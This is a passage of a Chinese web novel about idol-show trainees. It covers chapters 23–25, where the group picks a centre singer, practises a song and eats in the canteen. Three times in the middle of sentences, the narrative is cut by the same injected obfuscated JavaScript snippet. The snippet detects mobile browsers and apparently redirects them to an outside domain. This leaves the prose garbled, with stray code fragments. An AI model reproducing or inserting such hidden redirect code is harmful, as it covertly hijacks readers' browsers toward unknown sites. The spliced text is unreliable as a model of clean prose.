她裙摆翩跹,巧笑着周旋于各色人流之中,就算谢幕的时候站在打扮精致的男主身边,也丝毫不掩光彩。 谭清清看着时虞清一直拖动进度条,她刻意在听bgm出现的地方,目光专注得可怕,连瞳孔都一动不动。 谭清清倒是有些摸不着头脑,这首歌分别出现在女主第一次邂逅男主,女主为了工作和事业和男主说分手后独自品酒,女主终于完成项目和男主复合的时候, 但是……这能代表什么? 《宇宙狂想》也不是恋爱小甜歌啊?谭清清有些摸不着头脑,只能眼睁睁看着时虞清飞速把视频看完,礼貌把手机递还给工作人员。 她忍不住,还是凑到时虞清身边问:“虞清虞清,你这部话剧讲得是什么呀?跟咱们这首曲子有什么关系呢?” 时虞清坐下来,拿过手旁的水慢慢喝一口,才若有所思道:“我想起来了,这个本子是隔壁戏影的同学写得,核心……核心好像是自我意识觉醒。” 她像是在捋顺自己的思路,和谭清清慢慢道:“你看,这首歌每次出现,是不是都是女主的真实情感流露?她对男主一见钟情,但是后面为了自己的未来,才和男主说了分手,就算后面两个人复合,也完全是出自她的本心。” 说着说着,时虞清恍惚又回到那个盛夏,大家在排练室汗如雨下,听编剧讲得口若悬河: “你们别看这只是一个俗套爱情故事,但女主的人设我可是花了大心思的。” “你哪花心思了?”身边同学吐槽道,“像那个灰姑娘。” “NONONO,”戴着眼睛、满身书卷气的女生竖起一根手指摇了摇,“灰姑娘会因为对方是王子而自卑、逃跑。但夏檐可不一样,如果抛却财富、身份和地位,她并没有觉得男主和她自己有什么不同。” “她出身是算不上好,但你也不能说我偏心,因为她从家庭中获得的力量远比男主多得多,她从不怨怼自己的出身,夏檐一向把自己看得很清楚,有些差距是没有办法抹平的,人家只求问心无愧。” “哦!”那同学作恍然大悟状,“所以夏檐和男主才会分开,她的三观和男主合不来嘛,一个做水利的怎么会因为利益和人情放弃固有原则。” “对!”编剧很兴奋,很多人并不明白为什么她要在感情线里面写剧情线,但幸好她找过来的人都懂她。 想到这里,她不禁转头看向时虞清——那可是她千辛万苦挖掘出来的女主。 感受到目光,时虞清才从剧本中抬起头来,道:“理想主义者啊,知世故而不世故。” “还是虞清你懂我!”编剧兴奋得恨不得扑到她身上,她推了推眼睛,才补充道:“毕竟这个世界上有些东西,还是需要有人相信的。” 比如公平、正义、和一个人作为“人”的自尊心。 编剧越想越激动,茶色眼镜框下的脸红了一片,她索性站起身,大声道:“你认为我贫穷、矮小、不美,我就没有灵魂、也没有心了吗!?你错了!当我们的灵魂穿过坟墓来到上帝面前,我们都是平等的!【注1】” 咬字清晰、情绪饱满。 时虞清给她鼓掌,然后真诚道:“我会努力好好演,不会辜负你和夏檐的。” 也不会辜负和简爱如出一辙,强大而坚韧的灵魂的。 *** “哦!”谭清清右手作拳击向左掌,“所以就是自我情绪的抒发?” “就是这个意思。” 时虞清刚要点点头,就听见一个声调略高的女声在身后道:“什么意思?” 练习室的大门被人一把推开,风格各异的三个女生依次走进来,出声的女生一头浅色金发扎成高挑马尾,她抱臂看向时虞清二人:“你们刚刚说什么呢。” 时虞清不想和别人刻意谈起过往的经历,因为那样听上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432156|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去很像炫耀,所以只是礼貌淡笑着,“讨论demo什么时候到呢。” 金发女生嗤了一声,勉强认下了时虞清的说辞,转身走到另一边空地坐下。 倒是她身后的两个女生给时虞清二人打了招呼,时虞清对她们很陌生,回应的时候难免多看了两眼。 披肩黑色锁骨发的是左桑,她的中庭不短,明明是更偏御姐系的长相,却被她周身萦绕的困倦气质活活击碎,像是永远也睡不醒觉的女生。 戴着眼睛流着齐耳短发的是刁新月,她们来练习室基本上都不会化妆,略微讲究一点儿也就是涂一下素颜霜,毕竟跳舞要全身出汗,妆容再像水泥也会被晕花。 可刁新月分明粉黛未施,眼睛下面的卧蚕却比其他人刻意画出来的还要更加明显几分,配上那副黑框眼睛,简直就是活生生的乖巧女生范本,一见就让人心生好感的那种。 金发女生倒没有打招呼,但时虞清刻意留意了对方的名牌,姜舟霖,倒是好名字。 但这个名字有一种莫名的耳熟,时虞清一时半会儿想不起来,还是谭清清在她耳边小声提醒:“韵文的!大公司!” 怪不得。 相比之下,姜舟霖的态度的确算不上好,但离“傲慢”还是差了很大一截,比起已经开始暗自不爽的谭清清,时虞清倒是无可厚非,觉得也算不上什么大事。 因为更大的事情,还没………… 姜舟霖一甩头发,她刚从工作人员手中拿到这一次的歌词分配就迫不及待转过身,朝着众人扬眉道:“咱们还没有开始分part(歌曲部分)吧?” 众人沉默,可她却没有受到丝毫影响,而是直截了当道:“我想要这个C位。” “你们有意见吗?” 刁新月皱起眉头,左桑倒是一幅可有可不有的样子,看上去丝毫不关心这首歌的C位到底是谁。 倒是谭清清早就看她这副趾高气昂的样子不爽,她向来就是不服就干的性子,当下就直截了当道:“C位得大家都同意了才能算吧。” “哦?” 姜舟霖是忙内,在团里被姐姐们宠惯了,还是第一次看见有人要跟自己抢什么东西,她眉头一挑,爽快道:“那就比一场,赢了的当C位,怎么样?” 她愿意公平竞争,那就再好不过了。 众人都点头答应下来。 于是,除了姜舟霖和谭清清,刁新月也弱弱举起手,表示自己也想参与竞争。 时虞清看得无奈,谭清清根本没有当C位的想法,现在这样估计也就是气不顺。 但现在demo还没有送来,三人只能照着原曲唱一段。 该说不说,姜舟霖的确有实力,几个转音做得相当流畅,也难怪她这样有底气。 相比之下,刁新月的声线太低,谭清清直接唱慢了半拍,都比不上她/ 时虞清沉思片刻,还是在三人睁开的那一刹那,伸手指向了姜舟霖。 姜舟霖面露得色,她一向对自己的实力相当有自信,想要的东西基本上都能拿到。 可还没等她如凯旋般取下标着C的贴纸贴在自己身上,就见练习室的大门被人急匆匆地推开,面带薄汗的工作人员探头道: “你们还没选C位吧?这是demo,有一段高音是需要C位唱的!” 23.小组对决(三) 姜舟霖也没有想到,一首R&B风格的曲子竟然会被改编成这样。 她自己的声线是偏低的那种,公司之中的声乐老师也说过她很适合唱一些key(音调)不高的抒情曲,所以她才这样有自信,一上来就想要争取C位。 但是当那个工作人员一推门进来说出那句话,姜舟霖就知道,自己的C位,估计是悬了。 作为原唱的忠实粉丝,她对原曲的曲调无比熟悉,每一个升降调都了如指掌。 再加上公司对她们的定位是唱作型女团,从进入公司那一天开始,她们就接受了编曲方面的培训,姜舟霖自己写过曲子,自然知道,如果要在《宇宙狂想》中加高音,最合适的是哪一个部分。 这首歌写得是女生暗恋男生时的惆怅以及惆怅之后的放手离开,高潮就在女生认清这一段暗恋对自己毫无作用的时候,是一段逐渐上升的曲调,尾句还有泛音和转音。 姜舟霖满脸凝重地听完demo,她的猜测相当准确,工作人员口中所说的那个高音的确落在了她想得那个地方。 但是也诚如她自己所担心的,改编后的版本比原曲的音调高了不止一个八度。 姜舟霖对自己有自知之明,这样的高音,她连唱都唱不上去,更何况做出流畅的转音和泛音。 可…… 想到自己刚才争抢C位时候的模样,姜舟霖只觉丢脸,要是这个时候因为能力不够主动放弃C位,她的脸就全都丢尽了。 可是…… 姜舟霖幻想着自己站在舞台上的模样,如果是在公演的时候出了差错呢? 她打了个寒噤,没敢继续往下想。 ***** 时虞清其实对姜舟霖当C位没有任何意见,这种位置向来是能者居之,刚才姜舟霖唱得不错,她承认她配得上这个位置。 但是不知道为什么,在听demo的时候,姜舟霖的面色越来越沉,散发出来的低气压就算是练习室里面的耗子都能感受到。 这是怎么了? 时虞清有些摸不着头脑,在她看来,姜舟霖也就是脾气骄纵一点的小女孩而已,拿到C位应该心情不差? 这个想法在她脑海中转了一圈,却并没有被时虞清放在心上,她没有继续分神,而是继续听起demo。 改变过后的版本和原曲确实相差很大,如果说原曲是一条不断向下蜿蜒的河流,那么改编之后的版本就更像是被阶梯分段的河流。 尽管R&B的属性有所减弱,但是每个部分都更加清晰,就连高潮都更加清晰,更加抓耳。 如果能唱好的话,的确非常精彩。 时虞清若有所思地看着屏幕上的编舞视频,在这一段高潮的时候,C位需要拿着手麦单独出列,而其他四人站在另一侧,伸手做出下腰动作。 如果说她们四个是将绽未绽的花瓣,那C位就是鹤立鸡群的鲜艳花蕊。 时虞清意犹未尽地看完屏幕中的编舞视频,才起身往中间坐了坐,等着分part。 这还是谭清清告诉她的,女团里面都是需要分part,哪一段是谁来唱,这些都是开始练习之前就要确定好的事情。 part一般用abcd来命名,不同段落的两句或三句歌词会组成一个part,而无数的part组合起来 ,就是整首曲子。 时虞清盘腿在地上坐下,五人围坐成一个圈,工作人员正一份一份发歌词纸。 歌词上面就有part标注,哪句歌词属于哪个part都标注得一清二楚。 时虞清刚想凝神辨别这部分的part对应哪个动作,就听见身边响起一个低低的声音。 “……等等。” 时虞清疑心是自己熬夜太久幻听,毕竟那声音小得几乎不可闻。 直到那个声音又重新说了一遍“等等”,时虞清才恍然回神,抬头看向发声处。 姜舟霖单手捏着已经起了褶皱的纸张,面色一阵青一阵白,她的脸颊紧紧地绷着,看上去连吐出一个字都相当艰难。 姜舟霖咬牙看向四人,心中天人交战,但莫名的坚持和冲动还是在心中翻腾,让她使劲了全身的力气和一辈子的脸皮,才竭力说出第二句“等等。” 四人终于察觉到她比蚊子没大多少的声音,纷纷抬起头看她。 察觉到四人看过来的目光,姜舟霖心中羞耻更甚,她闭上眼睛,狠狠抓着手中已经快被揉成一团的纸张,好半晌才吐出几个字:“重选。” 重选? 重选什么? 众人显然没能第一时间get到姜舟霖的意思,好半天都没人开口。 但姜舟霖现在显然已经到达了情绪的顶峰,她能张这个嘴已经是殊为不易了,这些人竟然还不回应她? 一股强烈的羞恼之意直冲天灵盖,姜舟霖自觉脸已经全部丢干净了,索性破罐子破摔,将手中攥着的A4纸狠狠一丢,怒道:“我说!重选C位!这个高音我唱不来!” 纸张飘扬着落在练习室的地板上,衬得众人的表情更加木然。 姜舟霖说出这句话之后只觉心中顺畅许多,她的肩膀一下子垮下来,活生生像一只炸毛后难以复原的玳瑁猫。 就连浅色的马尾辫都没有在她脑袋后飘扬,而是软塌塌地耷拉在肩膀上,准备颓唐地接受一众人的嘲笑。 可姜舟霖没有想到,她想象中的白眼和嘲笑抑或是贬低都没有到来。 大家面面相觑,还是时虞清附身收拢歌词纸之后递还在她手中之后,才有人开口。 或许是被刚才的姜舟霖吓到了,刁新月声音低小,弱弱地打破沉默:“这个高音确实很难,不然咱们大家轮流唱一遍高音?” 谭清清第一个响应,她不在乎比赛成果,但确实不想和一个唱高音破音跑掉的主唱一个队,积极道:“我觉得可以!谁能唱出高音谁就当C位吧! ” 她没想到姜舟霖会这么直爽,说不会就是不会,明明她看起来是很要面子的人。 和刚才颐指气使的样子一对比,她倒是觉得现在这副样子的姜舟霖可爱不少。 毕竟就连很多歌手都觉得在舞台上破音甚至跑调错拍都不是什么大事。 时虞清也很惊讶,当众说出“我不行”对于姜舟霖这种性格的女孩子来说估计应该比用刀子生生剜下一块肉还要难受,可她偏偏就是这样说了,尽管现在的她看上去羞愤欲死。 现在的姜舟霖生无可恋地用手中的歌词纸挡住面颊,比起炸毛的猫更像是一只耷拉着羽毛的鸵鸟,估计等她们重新选出C位之后才会重新焕发生机。 可时虞清不觉得姜舟霖做了什么很丢脸的事情,反而恰恰相反,她很勇敢。 敢于在所有人面前承认自己能力不足不是一件容易的事情,更何况将自己得来的C位拱手相让。 其实她就算这样认下来也没什么的,毕竟她是被一致通过的C位,就算在舞台上破音也就那样,她大可以把责任推到她们四个人身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440008|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她还是这样做了,不管是出于对舞台的认真负责也好,不想丢更大的脸也罢,时虞清在这一刻都惊讶并敬佩她的坦诚和勇气。 但她心中的感慨还没来得及继续,就被身边的一阵鬼哭狼嚎打断。 谭清清伸着脖子,雪白的脖颈上青筋都迸出来了,她一边声嘶力竭地唱着高音一边斜着眼睛看歌词,看上去分外辛苦。 不过听她唱歌的人看上去似乎更加辛苦,就连陷入自闭中的姜舟霖都悄悄往旁边挪了挪,试图离谭清清远一点。 谭清清讪讪一笑,她的vocal水平最多就是KTV水平,让她唱这样的高音实在是难为她了。 可剩下的两人分明也没有好到哪里去,刁新月一开始就放不开,现在更是拘束,一个highC的高音硬生生被她唱低了两个key,活像另一首歌。 唱完之后,刁新月也颇觉尴尬,连忙用手推了好几遍并没有下滑的眼睛,转头看向另一边。 ……刚好和姜舟霖的目光撞了个正着。 于是两人都默默换了一个方向,默契地继续陷入尴尬。 左桑就算到现在也还是一幅“这是什么我能不能不做啊”的咸鱼模样,连拿起歌词纸的动作都没有力气,唱出来的高音更是有气无力。 比起刁新月至少还有拍子和调子的唱腔,她的高音唱得可谓是一马平川,毫无起伏。 于是唱完之后,左桑也默默放下手中的歌词纸,和其他三人一起转头往向唯一一个还没有开过嗓的时虞清。 毕竟她现在是全村唯一的希望了。 受着这样期待的目光,时虞清有些汗颜,她很少这样被人眼巴巴地望着,心中有些忐忑。 但现在也由不得她有更多的心理活动了,今天上午就必须分好part,不管谁来当这个C位,结果都必须出来,不然她们组的进度就要落下一大截了。 时虞清定了定神,她抬起手中满是文字的纸张,心中默默回想着刚才demo中的曲调,开口唱了起来。 这是一段不断攀升的曲调,bridge之后的高潮是女孩终于释然的模样,高昂的曲调比起原版的诀别更像是对过去自己的宣战书,坚定而不容置喙。 姜舟霖越听越惊讶,她看过时虞清的表演,但只是觉得这个人实力还算是不错,就算时虞清身在A班,可比起实力强劲的卞苏、自带流量的燕临纾,她看上去并不起眼。 但这一刻,对着曲谱清唱的时虞清,就算是在眼光奇高的姜舟霖看来,也颇有可圈可点之处,让人下意识移不开眼睛。 时虞清的声音是清冽风格的,如果只单听她说话其实会本能地觉得有些冷淡,但她唱歌的时候却完全不一样,像是一汪终于开始流动的清泉,顺着巍峨山谷汩汩流下,一路猛进。 不管是转音还是音调,时虞清都做得非常好,就算最后的那个泛音不够自然不够专业,也的确算得上是不错的表演。 就算是姜舟霖同队的主唱来了也会竖起大拇指,要知道,那可是唱青藏高原比喝水还简单的女人。 一曲毕,就连姜舟霖都忍不住面露赞叹,虽然她的表情维持在“也就还行吧凑合”的程度,但其他人的表情已经说明了一切。 谭清清赞叹着鼓掌,她刚要狠狠夸时虞清一下,就见一双白皙的手伸了过来—— 姜舟霖径直撕下了身上的贴纸,毫不犹豫的“啪”得一下贴在时虞清身上,她扬起头宣布: “新的C位,应该没人有意见吧?” 24.小组对决(四) 赛程紧张,既然C位已经定下来了,五人就没有再拖延,而是迅速分好了部分。 时虞清当时站过去的是A组,这就意味着她们要比B组更先上舞台,如何能在短时间内拿下观众的心才是重中之重。 毕竟除了组内的练习生需要竞争,同一首歌曲下的不同两个小组也同样需要竞争。 五个人没有一个人是拖泥带水的性格,一整个上午过去,demo已经被过了三遍,不说唱得有多好,最起码绝对不会有人在自己的部分进错节拍。 谭清清放下手中已经被翻得起边的歌词纸,大大伸了个懒腰,一脸颓唐地趴在键盘旁边:“我好饿啊。” 她这样还算是好的,左桑已经直接一屁股坐在地上了,她手中的歌词纸不翼而飞,脸上的表情看上去无比希望这个世界现在就终结。 刁新月也没有好到哪里去,一遍一遍重复唱同一段旋律并不是一件轻松的事情,她眼镜的鼻托都被汗浸透了,湿哒哒地放在镜子旁边。 就连向来要强地姜舟霖也没有好到哪里去,一唱几句就要整理一下鬓边被汗湿的刘海,她一个上午喝光了快五瓶矿泉水,整个人看上去像是被浸透绒毛却无力挣扎,只能把脑袋伸高远离花洒的猫。 她们这样的联系强度,就连向来习惯连轴转的时虞清也觉得吃力,她已经记不清有多少次调整节拍和起伏一遍遍重来了,明明只是三个键的和弦,她弹奏的时候也出了一两次小差错。 不能再这样下去了。 时虞清喝完矿泉水瓶中的最后一口水,累得连手指也不想抬起来,她像是被暴雨打蔫的花,只能叹气道:“我们去吃午饭吧,这个急不来的,下午再继续。” 谭清清面露喜色,就连姜舟霖也忍不住轻舒一口气。 更别提坐在地上的左桑,她这口气叹得像是把一整个上午的疲惫和烦闷都发泄出来,让其他四人都忍俊不禁。 ****** 地上的矿泉水瓶实在是太多,好在她们这个节目的赞助商之一就是矿泉水厂家,倒也不必担心成本问题。 但就算如此,时虞清还是把地上的矿泉水瓶都收拢到了墙角的箱子之中,她实在是太累了,连拿起一个轻飘飘的矿泉水瓶都像是举了一块沉重的铁。 不过很快了,这就是最后一…… ……嗯? 一双白皙的手横插过来,越过时虞清的手,径直捡起地上仅存的矿泉水瓶往墙角一丢,动作潇洒利落,完全不像是累了一个上午的样子。 时虞清落在最后面,她以为没人会注意到自己的动作,可没想到竟然有人折返回来。 她累了一上午,连抬起头的动作都像是被人刻意放慢了半拍,等她终于把眼神聚焦,却只能看清那个单薄的背影, 以及,微微汗湿,软软垂落在肩头的浅色卷发。 ***** 五人一同出练习室的时候,刚好在走廊中碰到了另一波女生。 这次的练习室安排是根据小组来安排的,既然A组的练习室在这里,B组的练习室就算不在隔壁,也绝对不远。 时虞清下意识就想要看向谭清清,用眼神询问她这是不是B组的人,可没有想要时虞清还没有转过头,就听见身边的刁新月笃定道:“是B组的。” 竟然真的是? 时虞清已经没有时间惊讶了,这个过道尽管算不上窄,也绝对容不下十个人一起通过,时虞清停住脚步,等待着她们先通过。 毕竟人家都快走到面前了,她们这个时候转身就走,难免有挑衅的嫌疑。 见她不动,原本已经抬起脚的姜舟霖也收回脚步,堪称乖顺地和四人站在一起等B组的人先走。 可没想到,五个女生走过去的时候,一个丹凤眼细长脸的女生莫名其妙抬头,睨了她们一眼。 尽管她们也是一幅花容惨淡,和时虞清五人累得不相上下的样子,可这个眼神却斗志昂扬,丝毫看不出半分疲累的样子。 她的眼风轻飘飘地在五人身上荡了一圈,然后轻哼一声,就和着队友一起走远了。 时虞清不明所以,倒是一旁的姜舟霖一下子就炸了,她直接抬手把袖子一撸,三两步就要冲上去质问对方。 可她才刚走了没两步,胳膊肘就被时虞清拽住。 女生弹了一上午电子琴的手掌温度颇高,热度顺着相贴的手肘和掌心一路蔓延全身,姜舟霖刚才还才还在心中熊熊燃烧的羞恼和气氛仿佛被人一泼掺着冰碴的水狠狠浇灭,再也没法复燃。 被挑衅后的恼怒、被轻视的不满……全在这一刻化作乌有,只剩下手肘处传来的温热湿意,牢牢地占据着她的五感和四肢。 “放开……”姜舟霖只觉一股热气从天灵盖一直烧到脖颈,羞恼之意油然而生,“我说,快放开!” 时虞清刚刚在盯着B组众人远去,没有注意到姜舟霖在和她说话,可姜舟霖手都不动一下光动嘴皮子,她也确实没有办法第一时间注意到啊。 就算这样想着,时虞清还很快就松开了抓着姜舟霖的手,轻声道了一句抱歉。 姜舟霖面色不虞地收回手,她轻轻抚了抚自己被抓得微红的手肘,却很反常地一声没吭。 时虞清以为她是不习惯别人的肢体接触,但情势所迫,她要是不拦着点姜舟霖就要冲上去跟她们干一架了,现在只好无奈道:“别生这么大气啊,人家只是看了我们一眼而已……” 她不说还好,一说这个姜舟霖就来气,“那是看一眼?!” 姜舟霖冷哼一声,浅色马尾在身后不屑晃晃,“这是跟我们示威呢。” 时虞清有些好笑,明明上午刚进来的时候姜舟霖还是一幅“全场我最牛尔等都是凡人”的样子,现在却直接把她们纳入了自己的保护范围,活活像是一只挡在最前面冲着敌人哈气炸毛的猫。 “就是就是,舟霖说的没错,”谭清清没想到姜舟霖能这么仗义,有事真的撸起袖子就上,当下就把她纳入了“自己人”范畴,“这是在挑衅我们呢。” 她一向对别人随和,一些不过分的小请求都是直接点头答应,这次却直接被人挑衅到脸上,自然不会开心。 就连左桑也恹恹的,抱着胳膊靠在墙上。 时虞清觉得自己现在像是带着一群幼儿园小朋友的家长,她从来不知道她们可以这样好斗,当下只能尽力安抚:“人家或许没有这个意思呢。” “那她们是什么意思?” 姜舟霖的阴阳l怪气道,她怎么没看出来时虞清有那么好的脾气,明明抓自己的手抓得毫不犹豫,现在还红着呢,哼。 “说不定是上午练习太累了,眼睛抽筋了呢。” 时虞清说得煞有介事,毕竟她手离开键盘的时候都有些抽筋,说不定人家练了一上午表情管理呢,累点也正常。 她话音刚落,姜舟霖就被口水呛住,连忙背过身冲着地一通狂咳。 谭清清和刁新月乐不可支,连牙齿都大咧咧露在外面,左桑也从墙上起身,忍俊不禁。 怎么都笑成这样? 时虞清愣在原地,她是说了什么很好笑的事情吗? ********** 还没有走进食堂,里面喧闹的声响连屋顶都盖不住,时虞清她们隔着两条走廊就听到了。 时虞清有些怔然,这还是她们食堂吗? 节目组再有钱也不至于装一个音响在食堂吧? 时虞清刚走进食堂,就被喧闹的响声和热腾腾的香味扑了满鼻,那香气与钩子无疑,一下就让她忘记了为什么食堂今天这么热闹。 谭清清简直拿出了高中时候抢饭的速度,跑得一马当先,她抄起托盘往前挪动的时候,时虞清几人才刚刚到达放置托盘的地方。 哎,抢菜就是这样啊,手慢无。 谭清清得意地扬起眉梢,尽管已经大三,她高中的抢饭技能还是没有退化,棒呆! 不过不知道是不是因为知道今天是小组考核训练的第一天,食堂的阿姨叔叔们简直卯足全力,火力全开地准备了比平时丰盛不少的菜肴,十几个大盆一字排开,香气简直排山倒海地袭来。 谭清清没忍住咽了一下口水,本来这声响在人声鼎沸的食堂根本就不算明显,但她这声吞咽却像是打开了什么闸口,于是四周想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441782|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片此起彼伏的“咕咚”声。 谭清清:………… 管不了那么多了,先吃饭吧。 尽管华夏的食堂一直被人诟病,就连谭清清自己的大学都时常整出一些诸如“月饼炒青椒”之类的神奇创新菜式。 可难得《万象如我》的食堂还算是不错,虽然有时候会被练习生吐槽清汤寡水,可菜品种类还算是多样,味道还算是不错,挑刺的人也就少。 被剥了皮的卤鸡腿被整整齐齐地码在银色的餐盘之中,棕褐色的卤汁油光发亮,连带着鸡肉也入了味,在灯光下闪烁着迷人的淡棕色光泽。 谭清清连忙来了两个,不用细想,她看一眼就知道这个鸡腿肯定好吃,肉滑骨脆,半点不塞牙,更别提还有大料的卤香味,简直能让人欲罢不能。 往前走是玉米和一些杂粮,谭清清有些嫌弃,但还是勉为其难地勺了一小勺玉米放在餐盘之中。 这个玉米也算是食堂为数不多算得上好吃的常驻菜品了,卤鸡腿是要靠运气随时刷新的,并不像玉米每天都有。 不同于市面上流行的糯玉米,食堂用的是水果玉米,脆爽鲜甜,一咬一爆汁,只需要咬一口,玉米的清甜香味就会充盈在唇齿之间,谭清清前段时间练习主题曲练习到头昏脑涨,就是靠着玉米才勉强支撑下去的。 谭清清推着餐盘往前走,可她定睛一看,却发现面前的菜没有见过。 不过卖相倒算是不错。 晶莹剔透的外皮又薄又韧,轻轻一拎起来就能透光,里面卷着的菜蔬五彩缤纷,红色的胡萝卜、黑色的木耳、嫩黄色的鸡蛋…… 看上去就好吃! 谭清清毫不犹豫,抬手就夹了两个在盘子里面。 后面还有好菜呢,她得给盘子留点位置。 事实证明她的预想没有错,不管是后面浇着葱姜酱的清蒸鳕鱼,还是微微点了柠檬汁的香煎牛排,抑或是鲜红发亮的水煮虾,都无一不让人食指大动。 等谭清清费力地端起盘子往回走的时候,她的盘子已经垒得老高,连塞下一粒玉米都废劲了。 就是今天的汤差点意思,谭清清暗自腹诽,究竟是谁想喝寡淡无味的丝瓜鸡蛋汤,连盐都吝啬放。 不过当她的目光触及B组众人时,又觉得这汤颇有存在的道理。 有些人,还是喝点丝瓜汤降降火气吧,别一上来就瞎瞪人,哼。 谭清清朝着这边走过来的时候,时虞清手中的鸡腿已经啃了一半,看到谭清清走过来,她连忙往旁边挪了挪,给谭清清让出位置。 饭菜实在太香,谭清清用力嗅了嗅,抄起筷子就开始大口吃饭,直接把莫名其妙挑衅人的小组抛至脑后。 时虞清吃饭很快,她对吃得东西其实并不上心,比起正儿八经的正餐,她其实对甜品更有兴趣。 但节目组视甜品之流如洪水猛兽,要不是顾忌民以食为天,恨不得让她们天天吃水煮菜,好在镜头面前保持体型。 时虞清微不可察地叹了一口气,她的餐盘空掉的时候,谭清清那如城堡一样的饭菜也只吃掉了一半,不过时虞清并不着急,索性撑着下巴,百无聊赖地等着她们吃完。 姜舟霖一看就是家教良好的女孩子,勺子和筷子从来不会碰到餐盘发出声响,就连吃饭也是闭上嘴巴细嚼…… 嗯? 时虞清一愣,细嚼慢咽? 姜舟霖虽然动作文雅,但吃起饭来一点都不含糊,四个手掌大小的餐盘满满当当都是浇满葱姜酱的清蒸鳕鱼,她一筷子扒拉下去,那一大块鳕鱼就少了一半,被她一口塞进嘴里。 谭清清四五口才能吃完的鳕鱼,她两口就能吃完。 不过…… 时虞清有些无奈,姜舟霖看上去有点挑食,除了鳕鱼和其他几样必须吃的蔬菜,她的盘子没有容下第二种肉食。 真是像猫啊,连饮食习惯都差不多。 时虞清忍俊不禁,转头就听到一阵激昂的bbox声, “今天我们来——到食堂,里面的东西它香又棒……” 等等, 时虞清听得莫名其妙,这是什么? 25.小组对决(五) 时虞清一转过头,就看见komi单脚踩在凳子前面的横杆上,拿着筷子当话筒正在freestyle。 不愧是rapper啊,真是有活力。 komi唱得激动,连四川口音都更加明显,唱得激情澎湃:“老子吃鸡腿,你们吃鸡腿棍棍!” 她身边帮她bbox伴奏的女生立马海豹起立式鼓掌:“好!” komi于是唱得更加开心,这下也不管freestyle的韵脚了,想到什么就脱口而出。 如果时虞清没有听错的话,里面还掺杂了豫中口音: “勒们嗦!介个鸡腿中不中!” 观众们也很激情澎湃,不仅只有rap大组的练习生,竟然还有vocal组的练习生来凑热闹: “中!!!” 行吧,时虞清咬掉卤鸡腿的最后一口脆骨,是挺中的。 不过就在她咔擦咔擦嚼脆骨的时候,身旁突然出现一阵小声喃喃: “这个汤又没加盐,这个玉米又没煮熟……” 时虞清认真分辨了一下声音,不太像rap,毕竟连韵脚都没有压上,但是又不像自言自语,毕竟没有人在自言自语的时候加上节奏和起伏。 所以,到底是什么? 时虞清不可避免地生出几分好奇心,她转头望去,却发现身边的人都在嚼饭菜,没有人有空张嘴唱歌。 只有…… 时虞清愣愣地收回视线,只有舒照闻在用筷子戳餐盘,脸颊起伏的弧度和频率也不像是在嚼什么东西。 可是,舒照闻,唱rap???? 这两个字不管怎么排列组合在一起都是风牛马不相及,时虞清努力想给舒照闻找理由,可没办法,任由她再环视多少圈,唯一嘴上有空闲的也只有舒照闻。 天。 时虞清在震惊之余还感受到一种诡异的好笑,她怎么也没有想到,平日清婉寡言的舒照闻竟然会小声吐槽食堂的饭菜,还是用rap的方式。 不知道费谣导师知道她的得意门生转投rap,会做什么感想。 时虞清想到这里便抑制不住地嘴角上扬,她从算是知道为什么之前学院的老师总是给她们强调反差,因为反差真的很萌。 这个时候的舒照闻还没有意识到自己的碎碎念被人听去了,还在不停地戳盘中的玉米,时虞清忍笑忍得辛苦,连肩膀都在微微颤抖。 就在她快要破功的时候,卞苏神兵天降,拯救了她。 “那个,虞清,”卞苏看上去有些难以启齿,时虞清从来没有在她脸上看到这样无奈又不知道该怎么办才好的表情,“你知道……就是,呃,怎么演出矫揉但不造作的可爱吗?” “……啊?” 因为太过于疑惑,时虞清只来的及发出一个单音节。 不过和卞苏一起来的练习生们却笑倒一片,七嘴八舌说起来, “什么可爱!咱们那是未来科技风!” “就是啊小苏姐,你还是问问时虞清怎么出演末日机甲少女吧哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈” “这题我会!真人cosplay了解一下?我会画cos妆!” “那我来给小苏姐做毛!” “你们真是够了,这可是公演啊哈哈哈哈哈!别难为她!” “这一上午的时光终究是错付了啊,是谁一直像造型师打听造型来着?” “是谁!群众中出现了叛徒!” “反正不是我哈哈哈哈哈哈哈,我可是真心想让小苏姐好好维持拽姐形象的!” 卞苏越听越生无可恋,这会儿也只好破罐子破摔,道: “我们编舞demo的killing part,是……呃,水宾月你知道吧?她的招牌动作。” 卞苏抬起手,看上去是想和时虞清比划一下,可她不管怎么做都难以模仿其中神韵,只好无奈放下,继续问她: “你话剧演得那么好,总知道怎么自然做出和自己性格不相符的动作吧?” 时虞清还是第一次听卞苏说这么长一段话,这下听懂了事情的始末,当即就忍笑道:“没必要啊,你可以冷脸做killing part嘛。” 